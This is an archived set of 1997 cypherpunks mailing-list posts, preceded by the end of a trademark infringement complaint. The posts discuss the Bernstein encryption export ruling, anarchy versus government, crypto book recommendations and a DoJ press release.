   deceive the public into believing falsely that there is a connection
   between plaintiff and defendants. Defendants have unfairly competed
   with plaintiff in violation of the Colorado common law.
   
   51. As a proximate result of the acts of defendants as alleged herein,
   plaintiff has suffered and will continue to suffer great damage to its
   business, goodwill, and reputation.
   
   52. Plaintiff has no adequate remedy at law against this unfair
   competition. Unless defendants are enjoined by this Court, plaintiff
   will continue to suffer irreparable harm.
   
   53. In acting as alleged herein, defendants have acted with
   oppression, fraud, and malice toward plaintiff. Plaintiff is therefore
   entitled to an award of punitive damages for the sake of example and
   by way of punishing defendants.
   
                            Fourth Cause of Action
                                       
(Trademark Infringement - Colorado Common Law)

   54. Plaintiff realleges and incorporate herein by reference the
   allegations of paragraphs 1-38 and 51-53 of the Complaint as set forth
   above.
   
   55. Plaintiff has used the mark "OPPEDAHL & LARSON" for providing
   intellectual property information over the Internet for many years.
   Said mark has become extensively known and associated in the minds of
   the public with plaintiff's business and services.
   
   56. Defendants have used the designation "OPPEDAHL" and "LARSON" in
   connection with their web pages that is confusingly similar to that
   created and used by plaintiff with intentional disregard of
   plaintiff's trademark rights. As a result of such acts, defendants are
   misleading the public into believing falsely that their web pages are
   connected with plaintiff's services, all in violation of the Colorado
   common law concerning the protection of trademarks.
   
   57. As a proximate result of the acts of defendants as alleged herein,
   plaintiff has suffered and will continue to suffer damage to its
   business, goodwill, and reputation.
   
   58. Plaintiff has no adequate remedy at law for the infringements of
   the mark "OPPEDAHL & LARSON" alleged herein. Unless defendants are
   enjoined by this Court, plaintiff will continue to suffer irreparable
   harm.
   
   59. In acting as alleged herein, defendants have acted with
   oppression, fraud, and malice toward plaintiff. Plaintiff is therefore
   entitled to an award of punitive damages for the sake of example and
   by way of punishing defendants.
   
   WHEREFORE, Plaintiff prays for relief as follows:
   
    1. That defendants, their officers, agents, servants, employees and
       representatives and all other persons, firms or corporations in
       active concert or participation with them, be preliminarily and
       thereafter permanently enjoined and restrained from: (1) using in
       any manner in connection with any of their web pages, or in
       connection with any advertising or promotions of such web pages,
       the names and trademarks "OPPEDAHL," "LARSON," and "OPPEDAHL &
       LARSON" and any colorable imitation thereof; and (2) doing any act
       or thing calculated or likely to cause confusion or mistake in the
       minds of members of the public or the trade, or prospective users
       of defendants' services, as to the source of services provided,
       produced, distributed, sold or offered for sale thereby, or likely
       to deceive members of the public or the trade, or prospective
       purchasers, into believing that there is some connection between
       defendants' and plaintiff or that defendants' web pages are being
       produced, distributed, sold or offered for sale with plaintiff's
       authorization;
    2. That defendants, pursuant to 15 U.S.C. § 1116(a), be directed to
       file with this Court and serve upon plaintiff within thirty (30)
       days after entry of the injunction, a report in writing under oath
       setting forth in detail the manner and form in which they have
       complied with the injunction;
    3. That defendants, pursuant to 15 U.S.C. § 1118, be ordered to
       deliver up for destruction all media, packages, wrappers,
       receptacles, and articles in their possession bearing the mark
       "OPPEDAHL," "LARSON" and/or "OPPEDAHL & LARSON," or any
       reproduction, counterfeit, copy, or colorable imitation thereof,
       and all plates, molds, matrices, and other means of making the
       same;
    4. That defendants account for and pay over to plaintiff all of the
       profits realized by defendants, or others acting in concert or
       participation with defendant, from the sale and distribution of
       their services in connection with the unauthorized use of the
       marks "OPPEDAHL," "LARSON" and/or "OPPEDAHL & LARSON," and
       defendants' unfair methods of competition as alleged herein;
    5. That plaintiff recover its damages sustained as a result of
       defendants' unfair competition and infringement of plaintiff's
       marks;
    6. That plaintiff be awarded three times defendants' profits or three
       times plaintiff's damages, whichever is greater, together with its
       reasonable attorneys' fees pursuant to 15 U.S.C. §§ 1117(a) and
       (b);
    7. The plaintiff be awarded punitive damages pursuant to Colorado
       common law.
    8. That plaintiff recover the costs of this action; and
    9. That plaintiff be granted such other and further relief as the
       Court deems just and proper.
       
   OPPEDAHL & LARSON
   
   Dated: July 23, 1997
   
Carl Oppedahl
Oppedahl & Larson
611 Main Street
P.O. Box 5540
Frisco, Colorado  80443-5540
(970) 513-9950
Fax (970) 513-9948
Plaintiff

Of Counsel:

Marina T. Larson
Stanley D. Ference III
Oppedahl & Larson
1992 Commerce Street, Suite 309
Yorktown Heights, New York  10598
(914) 245-3252
Fax (914) 962-4330

Address of plaintiff:

Oppedahl & Larson
611 Main Street
P.O. Box 5540
Frisco, Colorado  80443-5540








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Thu, 28 Aug 1997 06:56:29 +0800
To: cypherpunks@toad.com
Subject: Government to seek stay in Bernstein case
Message-ID: <Pine.GSO.3.95.970827153628.7848R-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain





---------- Forwarded message ----------
Date: Wed, 27 Aug 1997 13:43:46 -0700
From: Cindy Cohn <Cindy@McGlashan.com>
Subject: Government to seek stay in Bernstein case

Hi all,

Just talked to Mr. Coppolino at the Justice Department.  They are filing ex
parte emergency stay papers tonight or tomorrow morning to try to stay the
impact of Judge Patel's ruling pending appeal.  He'll be faxing me the
documents when they are ready.

Cindy
************************ 
Cindy A. Cohn                                                               
McGlashan & Sarrail, P. C.
177 Bovet Road, 6th Floor                                            
San Mateo, CA  94402
(415) 341-2585 (tel)
(415)341-1395 (fax)
Cindy@McGlashan.com
http://www.McGlashan.com







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sean Roach <roach_s@alph.swosu.edu>
Date: Thu, 28 Aug 1997 03:55:11 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Socio-Economic Cults (Re: Cypherpunk Cults)
Message-ID: <199708271949.PAA23255@www.video-collage.com>
MIME-Version: 1.0
Content-Type: text/plain



At 09:18 AM 8/27/97 +0100, Adam Back wrote:

>It's a distributed system, it's more resilient to abuse than
>governments.
>
>If one person becomes too much of a nuisance (real trigger happy for
>ultra minor infractions -- swearing at them, daring to look at them
>when they're in a bad bood) relatives, friends, or concerned citizens
>will correct (fill trigger happy person with lead).
>
>That's how the wild west worked anyway... outlaws didn't last that
>long.
>
>So you're relying on other peoples sense of fairness ... should easily
>work out better than governments.
>
Ever heard of mob violence?  Read up on the Salem witch trials when a bunch
of people got together and murdered a bunch of thier own on the evidence of
the rantings of a few girls.

Don't forget hitler, who managed to swing an entire country against a ever
growing list of minorities.  Granted, this was from within government, but
the principle is the same.

Anarchy is good, as long as an us versus them mentality doesn't occur.  That
would require a far more homogenious population than we have now.  If
everyone had the same skin color, hair color, eye color, bone structure, and
color of socks, war would eventually break out over who lived on which side
of the river.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Thu, 28 Aug 1997 04:22:54 +0800
To: cryptography@c2.net
Subject: <<Vitamin B>>(August 27, 1997) Back to the Future
Message-ID: <v0311075bb02a38e2d94c@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain




--- begin forwarded text


X-Lotus-FromDomain: BIONOMICS@INTERLIANT @ OUTBOUND
From: "VitaminB"<VitaminB@bionomics.org>
To: "DAILY DOSE"<DAILY_DOSE@maxager.com>
Date: Wed, 27 Aug 1997 11:04:00 -0700
Subject: <<Vitamin B>>(August 27, 1997) Back to the Future
Mime-Version: 1.0






Vitamin B:
Your Daily Dose of Bionomics

August 27, 1997

Back to the Future

"In the pre-Civil War period, when the general
ethos of laissez faire severely discouraged
government intervention in the market economy,
private regulations arose in the form of a variety
of institutions, which accomplished much of
what we endeavor to do today with our elaborate
system of government rule making and
supervision. In particular, scholars have noted
that the period saw the development of private
measures to help holders of bank notes protect
themselves from risk. As the notes were not
legal tender, there was no obligation to accept
the currency of a suspect bank, or to accept it
at par value; accordingly, notes often were
accepted and cleared at less than par. As a
result, publications--bank note reporters--were
established to provide current information on
market rates for notes of different banks based
on their creditworthiness, reputation, and location,
as well as to identify counterfeit notes. Bank note
brokers created a ready market for notes of
different credit quality. In some areas, private
clearinghouses were established, which
provided incentives for self-regulation. "

"Banks competed for reputation, and advertised
high capital ratios to attract depositors. Capital to
asset ratios in those days often exceeded one-third.
One must keep in mind that then, as now, a significant
part of safety and soundness regulations came from
market forces and institutions. Government regulation
is an add-on that tries to identify presumed market
failures and, accordingly, substitute official rules to
fill in the gaps. "

"To be sure, much of what developed in that earlier
period was primitive and often ineffectual. But the
financial system itself was just beginning to evolve. "

"From today's presumably far more sophisticated
view of such matters, we may look askance at what
we have often dismissed as 'wildcat banking.' But
it should not escape our notice that, as the international
financial system becomes ever more complex, we,
in our regulatory roles, are being driven increasingly
toward reliance on private market self-regulation similar
to what emerged in more primitive forms in the 1850s
in the United States."

--Alan Greenspan
Toward Electronic Money & Banking: The Role of Government
A Conference Sponsored by the United States Department
of the Treasury
September 19-20, 1996

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: anonymous <zylof@rigel.cyberpass.net>
Date: Thu, 28 Aug 1997 07:18:54 +0800
To: cypherpunks@Algebra.COM
Subject: Freezing assets
Message-ID: <199708272310.QAA01231@rigel.cyberpass.net>
MIME-Version: 1.0
Content-Type: text/plain




How does the U.S. government go about freezing the assets of
foreign nationals?

Which kinds of assets are the most and least amenable to freezing?

By what legal and procedural mechanisms does one "freeze" the
securities, real estate, etc. of foreign nationals?

thanks,
zylof





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: news@sldc.ffg.com
Date: Thu, 28 Aug 1997 07:15:32 +0800
To: cypherpunks@toad.com
Subject: News from the Front (August Issue)
Message-ID: <B0000457237@ftp.ffg.com>
MIME-Version: 1.0
Content-Type: text/plain



An update to our customers and friends on happenings at 
-----------------------------------------------------------------------
F O R E F R O N T  -  Taking the Chaos out of the 'Net
http://www.ffg.com		   Newsletter  8/25/97
-----------------------------------------------------------------------
Contents:
I.    Special Offer
II.   News from the 'Front
III.  Hot Tip
-----------------------------------------------------------------------
I. Special Offer

Due to the popularity of the WebBundle, we're bringing it back
for a limited time.

ForeFront would like to offer you, our V.I.P.'s, a chance to get
ALL of our Web products (WebSeeker, WebWhacker, and WebPrinter)
at a discount.  Get the Web Bundle for only $89.50 for a limited
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-----------------------------------------------------------------------

II. News from the 'Front

Thanks to everyone for signing up for the Internet
Research Course.

ForeFront releases their second FREE e-mail course
on Off-line Browsing.  Sign-up for our no-cost course at
http://www.ffg.com/courses

WebWhacker 3.0 for Macintosh released.  The
worlds first off-line browser for Macintosh just got
better.  See the new features at:
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Educational WebWhacker enters Beta!

Ed Whacker brings WebWhacker 3.0 to the classroom.
Whack Internet pages and share them with an entire
classroom with a single click.  The teacher can launch
browsers on every station in the classroom with one button.
Beta testers get 50% off the retail price when Ed Whacker is
released.  If you'd like to join the beta program, visit:
- http://www.ffg.com/whacker/edwhackerbeta.html


-----------------------------------------------------------------------
II.  Tip o' the Day

WebSeeker's Filtering  is its most powerful feature.
If you are looking for something very specific on the
Internet, start WebSeeker and enter your keywords.  
Then choose "Filter Find".

FilterFind is slower, but usually worth the wait.  Every 
word on every page is indexed allowing you to quickly
narrow your search.

Choose the Filter button (funnel with 3 dots after it) and
enter any specific query.  You can use AND, OR, NOT,
NEAR and other powerful features to narrow your
search until you find EXACTLY what you are looking
for.

No other program gives you the power of a WebSeeker
search.
  
If you don't have WebSeeker 3 then try it now! 
- http://www.ffg.com/seeker/
If you have an earlier version of WebSeeker then upgrade now!
- http://www.ffg.com/seeker/wsupgrade.html

-----------------------------------------------------------------------
This newsletter is only sent to those who requested the
newsletter and those who downloaded, registered,
or evaluated our software.
If you wish to unsubscribe from the ForeFront newsletter mailing list,
please visit http://www.ffg.com/press to Unsubscribe.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sandromar Ferreira <sandro@pop.hsbcbamerindus.com.br>
Date: Thu, 28 Aug 1997 04:25:50 +0800
To: cypherpunks@toad.com
Subject: Crypto best book
Message-ID: <34048792.F8463AF3@bbamerindus.com.br>
MIME-Version: 1.0
Content-Type: text/plain



          What is the best book about cryptography ?

Sandro.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Thu, 28 Aug 1997 06:38:32 +0800
To: Sean Roach <roach_s@alph.swosu.edu>
Subject: Re: Socio-Economic Cults (Re: Cypherpunk Cults)
In-Reply-To: <199708271949.PAA23255@www.video-collage.com>
Message-ID: <199708272237.RAA03869@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <199708271949.PAA23255@www.video-collage.com>, on 08/27/97 
   at 03:49 PM, Sean Roach <roach_s@alph.swosu.edu> said:


>At 09:18 AM 8/27/97 +0100, Adam Back wrote:

>>It's a distributed system, it's more resilient to abuse than
>>governments.
>>
>>If one person becomes too much of a nuisance (real trigger happy for
>>ultra minor infractions -- swearing at them, daring to look at them
>>when they're in a bad bood) relatives, friends, or concerned citizens
>>will correct (fill trigger happy person with lead).
>>
>>That's how the wild west worked anyway... outlaws didn't last that
>>long.
>>
>>So you're relying on other peoples sense of fairness ... should easily
>>work out better than governments.
>>


>Ever heard of mob violence?  Read up on the Salem witch trials when a
>bunch of people got together and murdered a bunch of thier own on the
>evidence of the rantings of a few girls.

>Don't forget hitler, who managed to swing an entire country against a
>ever growing list of minorities.  Granted, this was from within
>government, but the principle is the same.

>Anarchy is good, as long as an us versus them mentality doesn't occur. 
>That would require a far more homogenious population than we have now. 
>If everyone had the same skin color, hair color, eye color, bone
>structure, and color of socks, war would eventually break out over who
>lived on which side of the river.

Both of your examples only go to prove the point of anarchy is better then
governments.

In the Salem witch trial they were government trials (which were based on
a political power struggle in Salem at the time) not lynch mobs. 

In Germany, as in all mass murders, was the act of the *Governemnt*.

No matter how you add the numbers up there has been many many more deaths
caused by governments than there ever has or will be by criminal.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBNASd2Y9Co1n+aLhhAQFw5gQAo8N9bEITAmgMjff7cbr1eIvl3BQZXq2K
lVxEroZVJvpmPGF79LdmVGTHGoDwOvRaVC8SGVpGQuK5uDr1ZzcgbaUB0cq6SJ4H
4bb243CeZ+onxHSkMGK/DMflMoJ4z/gBL2+mcR/LmP04Vkf/D+CuMMyDnNUk60vl
tNLUnVhEPd8=
=m58o
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alexis <demara@geocities.com>
Date: Thu, 28 Aug 1997 08:48:00 +0800
To: cypherpunks@toad.com
Subject: hello
Message-ID: <340466A5.5BFB@geocities.com>
MIME-Version: 1.0
Content-Type: text/plain



Is there anybody that can tutor me how to hack, crack, phrank, and 
cryptomography ( i'm not sure i speel that last part correctly.
I would like to get some help, please email me back ASAP thank you so 
very much

recall.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Thu, 28 Aug 1997 09:07:44 +0800
To: cypherpunks@Algebra.COM
Subject: Re: heart
In-Reply-To: <199708271649.MAA09156@www.video-collage.com>
Message-ID: <19970827174950.35762@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain



On Wed, Aug 27, 1997 at 12:49:42PM -0400, Sean Roach wrote:
> At 11:55 PM 8/26/97 -0700, Kent Crispin wrote:
[...]
> 
> Pretty soon every revolver will have a warning label.  "Warning, misuse of
> this tool can result in injury and death.  By handling this item you consent
> to bear all legal responsibility reguarding its use."  Never mind that such
> should be implied.

Product liability issues are more prominent when something doesn't 
function as it is supposed to -- say you are trying to defend 
yourself against a thief, and the gun blows up in your face.  This is 
not the same as assuming legal liability for when you shoot someone.

Arguably, even then you should not be able to sue -- the small 
aircraft industry has been decimated by product liability issues.  
And I remember when Chouinard went out of the climbing equipment 
business because of threat of lawsuits.

My understanding is that warning labels -- even signed liability 
releases -- are of limited use in these cases, because, while you can 
sign a binding contract that limits your ability to sue, you cannot 
so bind your survivors. 

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "John Smith" <jsmith58@hotmail.com>
Date: Thu, 28 Aug 1997 09:18:04 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Socio-Economic Cults (Re: Cypherpunk Cults)
Message-ID: <19970828011033.10773.qmail@hotmail.com>
MIME-Version: 1.0
Content-Type: text/plain



William H. Geiger III:

>In the Salem witch trial they were government trials (which were >based 
on
>a political power struggle in Salem at the time) not lynch mobs. 

And how about our gun-crazy friend, who'd shoot anybody who messed
with him, his family, or his property.  What do you think he's going
to do when that witch down the street puts a hex on his cow and it
dies?  Sounds to me like we've got another shooting coming.  Is that
the kind of world you want to live in?

"John


______________________________________________________
Get Your Private, Free Email at http://www.hotmail.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Blanc <blancw@cnw.com>
Date: Thu, 28 Aug 1997 09:17:52 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Stewart Baker on Bernstein encryption decision (fwd)
Message-ID: <3.0.32.19970827181010.00a72d74@cnw.com>
MIME-Version: 1.0
Content-Type: text/plain



V.Z.Nuri wrote, in reaction to Stewar Baker's message:

>*spit* [...] fraudulent camel's back. soon let the whole corrupt 
>structure fall like the rotten house of cards that it is.
[...]
>SOME PEOPLE JUST DON'T GET IT, even as they
>wallow daily in their own hypocrisy.
>
>[...]the horrid and repulsive episode [...]
>when in the course of human events it become necessary to expunge a 
>parasite...
[...]
>(if so, it would be the one of the least vile and sleazy tactics employed
>so far in the whole sorry affair.)
>
>[...] sarcastic contempt I feel for you and your despicable cohorts [...]
..........................................


Like, have you tried to export software lately, L.D.?   You're taking this
rather personally.

Your heart-felt, warm&fuzzy  message to Mr. Baker, who doesn't know you
from anyone (except that you posted from that scum-bag pot of
cypherpunk-infestation (those poisonous tentacles of Medusa), I'm sure will
instill in him a deep regret for his past attitude; he'll probably recant
his past, become a born-again Christian, and join the list.    

Eloquent, informative statements from other noteworthy representatives of
the technology industry, spoken even at meetings where Mr. Baker was
personally present, and even directly to him by the likes of TCM, could
not, I'm sure be as persuasive as the *spit*ting and lowly modifying terms
which you slew in his direction.

An intellectually uplifting debate on the subject, bringing into view
incontestable points of fact, could not surely be as convincing as this
upchuck of verbiage from deep within yourself, where you keep your stash of
special words selected for their ability to clarify difficult issues.

Goodness, next you'll be agreeing with TCM that "they should all be nuked".
  You might even begin consider a special venue for achieving this, such
as.........Blacknet?



    ..
Blanc





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tenth CypherPunk <tc@dev.null>
Date: Thu, 28 Aug 1997 08:52:23 +0800
To: cypherpunks@toad.com
Subject: Re: Crypto best book
In-Reply-To: <Pine.LNX.3.96.970828000656.21159E-100000@bureau42.ml.org>
Message-ID: <3404C5F2.6CD5@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



David E. Smith wrote: 
> >           What is the best book about cryptography ?

> Although "best" is certainly subjective, Nine out of Ten Cypherpunks (TM)
> recommend Bruce Schneier's "Applied Cryptography."
 
> http://www.counterpane.com/applied.html

  I recommend "Cyphernomicon" by Tim C. May, which can be found 
by following the pointers at:

   http://bureau42.base.org/public/webworld

TenthCypherMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Burnes <jim.burnes@ssds.com>
Date: Thu, 28 Aug 1997 08:53:58 +0800
To: John Gilmore <gnu@toad.com>
Subject: Re: Bernstein decision
In-Reply-To: <199708261343.GAA03055@toad.com>
Message-ID: <Pine.LNX.3.95.970827183538.7302B-100000@westsec.denver.ssds.com>
MIME-Version: 1.0
Content-Type: text/plain





On Tue, 26 Aug 1997, John Gilmore wrote:

> [There will be many chances to talk to the press today about this.
>  Call them up.  Tell them what it means.]
> 
> Lucky Green said:
> > The ruling provides an interesting data point, but is inconsequential
> > to the software industry.
> 
> Jonathan Wienke said:
> > The decision seems to be a step in the right
> > direction, but a VERY small one.
> 
> However you slice it, getting a Federal judge to declare both crypto
> export control regimes unconstitutional is a major accomplishment.
> 

Of course, but Commerce may keep harassing people who attempt
crypto export.

One thing that occurred to me was that if Commerce prosecutes
everyone but Bernstein, then Mr. Bernstein could become a
_very_ wealthy man.

Think about it.  How hard would it be to include the Snuffle 
algorithm in PGP, etc.  How much for a Bernstein crypto license?

Talk about muddying the waters.  Mr Bernstein keeps upgrading
his algorithm until it becomes a major portion of most crypto
packages.  This decision looks like the first major chink in
the armor.  Depending on how long it takes to free up the rest
of the algorithms (if ever) Bernstein could recoup his legal
investment many times over.  Better yet if its public domain
then everybody could include it _now_.  An interesting type
of virus.


Jim Burnes






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sean Roach <roach_s@alph.swosu.edu>
Date: Thu, 28 Aug 1997 06:58:13 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Re: <<Vitamin B>>(August 27, 1997) Back to the Future
Message-ID: <199708272251.SAA08820@www.video-collage.com>
MIME-Version: 1.0
Content-Type: text/plain



At 04:05 PM 8/27/97 -0400, Robert Hettinga wrote:
>
>
<<Deleted header information here>>
>
>
>
>
>Vitamin B:
>Your Daily Dose of Bionomics
>
>August 27, 1997
>
>Back to the Future
>
>"In the pre-Civil War period, when the general
>ethos of laissez faire severely discouraged
>government intervention in the market economy,
>private regulations arose in the form of a variety
>of institutions, which accomplished much of
>what we endeavor to do today with our elaborate
>system of government rule making and
>supervision. In particular, scholars have noted
>that the period saw the development of private
>measures to help holders of bank notes protect
>themselves from risk. As the notes were not
>legal tender, there was no obligation to accept
>the currency of a suspect bank, or to accept it
>at par value; accordingly, notes often were
>accepted and cleared at less than par. As a
>result, publications--bank note reporters--were
>established to provide current information on
>market rates for notes of different banks based
>on their creditworthiness, reputation, and location,
>as well as to identify counterfeit notes. Bank note
>brokers created a ready market for notes of
>different credit quality. In some areas, private
>clearinghouses were established, which
>provided incentives for self-regulation. "
>
>"Banks competed for reputation, and advertised
>high capital ratios to attract depositors. Capital to
>asset ratios in those days often exceeded one-third.
>One must keep in mind that then, as now, a significant
>part of safety and soundness regulations came from
>market forces and institutions. Government regulation
>is an add-on that tries to identify presumed market
>failures and, accordingly, substitute official rules to
>fill in the gaps. "
>
>"To be sure, much of what developed in that earlier
>period was primitive and often ineffectual. But the
>financial system itself was just beginning to evolve. "
>...

Your description reminds me of some descriptions of how UNIX has been evolving.
I guess with time and the appropiate types of hackers, any system can become
secure after a few cycles.  It may not be elegant but it gets the job done.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Fri, 29 Aug 1997 14:36:34 +0800
To: Lucky Green <shamrock@netcom.com>
Subject: Re: Mathematics > NSA + GCHQ
In-Reply-To: <97Aug23.121248edt.32258@brickwall.ceddec.com>
Message-ID: <3.0.2.32.19970827191352.02f513ec@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 10:07 AM 8/23/97 -0700, Lucky Green wrote:
>Now imagine if the prize was $1,000,000 or $10M. That's real money to just
>about every student out there. Every box at every university would be
>working on it. Employees would install the cracker first and ask their
>sysadmin later. If at all.

Heh.  Every box would be running more than one copy, unless you
hacked the code to have some sort of lockfile that would let it
take turns occasionally.  (If you just lock the user out,
they'll take the trouble to go "fix" the code....)

Fortunately, crunchons are getting pretty cheap these days,
though the challenge would still lead to government people saying
"See, it took a million dollars and every university computer in the country
and they still haven't cracked Skipjack" or whatever the target is,
just as they've kept the "$10,000 and a supercomputer" figurefor RC4/40
going around.

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Thu, 28 Aug 1997 10:37:42 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Socio-Economic Cults (Re: Cypherpunk Cults)
In-Reply-To: <19970828011033.10773.qmail@hotmail.com>
Message-ID: <v03102802b02a8fd4549b@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 6:10 PM -0700 8/27/97, John Smith wrote:
>William H. Geiger III:
>
>>In the Salem witch trial they were government trials (which were >based
>on
>>a political power struggle in Salem at the time) not lynch mobs.
>
>And how about our gun-crazy friend, who'd shoot anybody who messed
>with him, his family, or his property.  What do you think he's going
>to do when that witch down the street puts a hex on his cow and it
>dies?  Sounds to me like we've got another shooting coming.  Is that
>the kind of world you want to live in?

I don't shoot witches. Nor do I shoot Tree Huggers, Wiccans, Baalists, or
even Jews.

Unless they enter my property and I perceive them to be a threat to me.

As a matter of fact, I was the "Judge" in the "First Internet Witch Trial."
A well-known Wiccan/Pagan named Eric Raymond, familiar perhaps because of
his "Hacker's Dictionary," was proselytizing for Paganism as the One True
Internet and Extropian Religion on the Extropians list...something about
pantheism and "The Goddess Inside" being anti-State and pro-Progress. I
made fun of his views, so Eric issued a challenge:

If I were to read several of the books and sites he recommended, and if I
were still to conclude that Paganism/Wicca is "irrational," he would leave
the Extropians list forever. This challenge was issued in March 1993.

Personally, I wished him no ill will, but a challenge is a challenge. I
accepted the challenge and spent entirely too much time reading his
recommended sources, plus a bunch more. I read Adler's "Drawing Down the
Moon." I read Isaac Bonewitz's "Real Magic." I read a bunch of Crowley, a
bunch of stuff about Druids, OTO, and Viking mythology. And, for my own
interest, a bunch of stuff on belief systems, evolutionary epistemology,
etc....stuff by W.W. Bartley, Karl Popper, etc.

After much consideration, I issued my "verdict" in June of 1993: Irrational
as charged. And to his credit, Eric Raymond left the Extropians list. (So
did I, 6 months later, for other, unrelated reasons.)

But I would not shoot witches. What they do is of no concern to me.
Frankly, what I learned from my researches fit my preconceived notions
(having once had a girlfriend loosely associated with this nonsense),
namely, that they tend not to try to recruit, and never force their views
on others. The Most Evil Man in the World (TM) had as his mantra, "Do what
thou wilt shall be the whole of the Law."

Irrational to believe what they believe, but no threat to me.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Cypherpunks Maintenance Account <cpunks@www.video-collage.com>
Date: Thu, 28 Aug 1997 08:52:27 +0800
To: cypherpunks@www.video-collage.com
Subject: DoJ press release on Bernstein case (fwd)
Message-ID: <199708280046.UAA19165@www.video-collage.com>
MIME-Version: 1.0
Content-Type: text/plain



----- Forwarded message from John Gilmore -----

>From cpunks  Tue Aug 26 23:08:09 1997
Message-Id: <199708270251.TAA15101@toad.com>
X-Authentication-Warning: toad.com: Host localhost [127.0.0.1] didn't use HELO protocol
To: bernstein-announce@toad.com
Subject: DoJ press release on Bernstein case
Date: Tue, 26 Aug 1997 19:51:24 -0700
From: John Gilmore <gnu@toad.com>
Reply-To: John Gilmore <gnu@toad.com>
Sender: owner-cypherpunks@toad.com
Precedence: bulk

Forwarded-by: Shari Steele <ssteele@eff.org>

Department of Justice

For Immediate Release
Tuesday, August 26, 1997

CIV
(202) 616-2777
TDD (202) 514-1888

JUSTICE DEPARTMENT STILL REVIEWING DISTRICT COURT DECISION ON
EXPORT CONTROLS ON ENCRYPTION SOFTWARE

WASHINGTON, D.C. -- The Justice Department said today it is considering 
what further legal measures it will take following yesterday's ruling by 
the U.S. District Court in San Francisco that certain aspects of the 
government's regulations on the export of encryption software are 
unconstitutional.  Another federal court upheld the export controls on 
encryption software.

The Administration is committed to promoting the legitimate use of 
encryption.  Through encryption--or the coding of messages--businesses 
can protect trade secrets, hospitals can safeguard medical records, and 
individuals can be assured that personal messages on the information 
superhighway remain private.

But, as President Clinton stated upon issuing an Executive Order on this 
subject on November 15, 1996, the use of encryption products by 
unfriendly parties outside the United States can jeopardize the foreign 
policy and national security interests of the United States, and public 
safety of U.S. citizens.

Judicial proceedings in Bernstein v. Department of State are not yet 
concluded, and the decision governs only that case.  In March 1996, in 
another pending case in Washington, D.C., Karn v. Department of State, 
the District Court ruled that export controls on encryption software are 
constitutional under the First Amendment and serve important interests 
of the United States.  That case is still pending to consider export 
controls on encryption now administered by the Commerce Department.

Until this issue is resolved, export controls on encryption software 
remain in place.  Individuals or companies wishing to export encryption 
software by any means must continue to adhere to applicable export 
licensing controls on such software before exporting it abroad.

###

97-351

----- End of forwarded message from John Gilmore -----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Cypherpunks Maintenance Account <cpunks@www.video-collage.com>
Date: Thu, 28 Aug 1997 08:58:44 +0800
To: cypherpunks@www.video-collage.com
